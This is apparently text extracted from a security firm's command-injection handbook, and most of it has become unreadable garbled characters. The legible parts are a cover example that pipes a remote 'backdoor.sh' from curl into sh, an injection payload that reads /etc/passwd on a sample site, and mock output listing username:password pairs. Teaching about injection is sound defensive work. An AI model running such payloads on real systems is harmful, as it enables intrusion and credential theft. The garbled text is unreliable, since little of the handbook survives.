
COMMAND INJECTION
HANDBOOK

SECURITYBOAT
Frontline Of Your Business

www.securityboat.net

Command executed
$ curl https://example.com/backdoor.sh| sh



�� �������������������������
����������������������������������������������������������������������������������������������������������������������������������������

�����
�	�������������������������������������������������������������������������������������������������������������������������������������

�����������������������	��������������������������������������������������������������������������������������������������������������������������������

������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

�����������������������������������������������������������������������������������������������������������������������������������������������������������������������

����������������������������������������������������������������������������������������������������������������������������������������������������������������������

���������������	� ����������������������������������������������������������������������������������������������������������������������������������������������������������������

�������������­	������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

�������������������	�������������������������������������������������������������������������������������������������������������������������������������������������������������

����������	��������	��������������������������������������������������������������������������������������������������������������������������������������������������������������������

������������������������		���������������������������������������������������������������������������������������������������������������������������������������������������

��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

�������������������� �����������������������������������������������������������������������������������������������������������������������������������������������������

�����������������	�����	� �������	��������������������������������������������������������������������������������������������������������������������������������������

������������	������������	����������������������������������������������������������������������������������������������������������������������������������

���������	������������������	����������������������������������������������������������������������������������������������������������������������������������������������������

������������	�������������������������������������������������������������������������������������������������������������������������������������������������������������������

�������������������	������������	���������������������������������������������������������������������������������������������������������������������������

������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

�����������������

SECURITYBOAT
Frontline Of Your Business

��

��

���

���

���

��

��

��

��

��

��

��

���

��

��

��

��

��

��

��

��



01

SECURITYBOAT
Frontline Of Your Business

���������������������������	���������	��������������������������������������������������	������������
�	���	�	�������������� ������������	�����������������������	����������	� ��������	�� ���	���	���
������ ����������������������������������������������������������������������	������������������
��������������������	� �����������������������������	����������������������	���������

��������������������������������������	���������������	���������	�����������������
�	������	���������
��������� ����� ���������� ��������� ���������� ���������� ����� ����� ���� ������������� ������ ��� �����
��������� ��� ���� ������������ �������� ����	�������� ���� �������������� �	� ������ ��� ���� ����	� ������
�����������������������������������	�������������	���	�	��������������������������	��������������
����������������	������	�������	��	������������������������
���������������������������������������
����������������������������������	�����������������������������������

�������������������

��	��	

��	��	�������	

��������������

����������������

���������������������

��	��	

��������������

����������������

�������	

�������	

�����������������
�����
����	�

����������
������������
����
�������
�����
����	�

www.example.com

$(`cat /etc/passwd`)
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Linux example-server 
5.4.0-104-generic

mike:pass@123
nfcfs:pass@944
orgh:kha@bnm
qcgu:pass@426
qcgu:ert@468
qaxf:pass@654

www.example.com
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